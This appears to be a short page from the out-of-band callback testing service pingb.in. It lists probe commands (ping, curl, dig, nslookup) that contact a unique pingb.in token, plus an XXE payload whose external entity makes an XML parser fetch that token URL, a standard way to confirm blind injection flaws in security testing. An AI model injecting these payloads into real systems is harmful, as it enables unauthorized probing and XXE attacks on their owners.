$ ping -c1 -p 0017392cea3204267a01df4e84645d00 pingb.in
 

$ curl pingb.in/p/17392cea3204267a01df4e84645d
 

$ dig 17392cea3204267a01df4e84645d @pingb.in
 

$ dig 17392cea3204267a01df4e84645d.ns.pingb.in
 

C:\> nslookup 17392cea3204267a01df4e84645d pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/17392cea3204267a01df4e84645d">]>
    <foo>&xxe;</foo>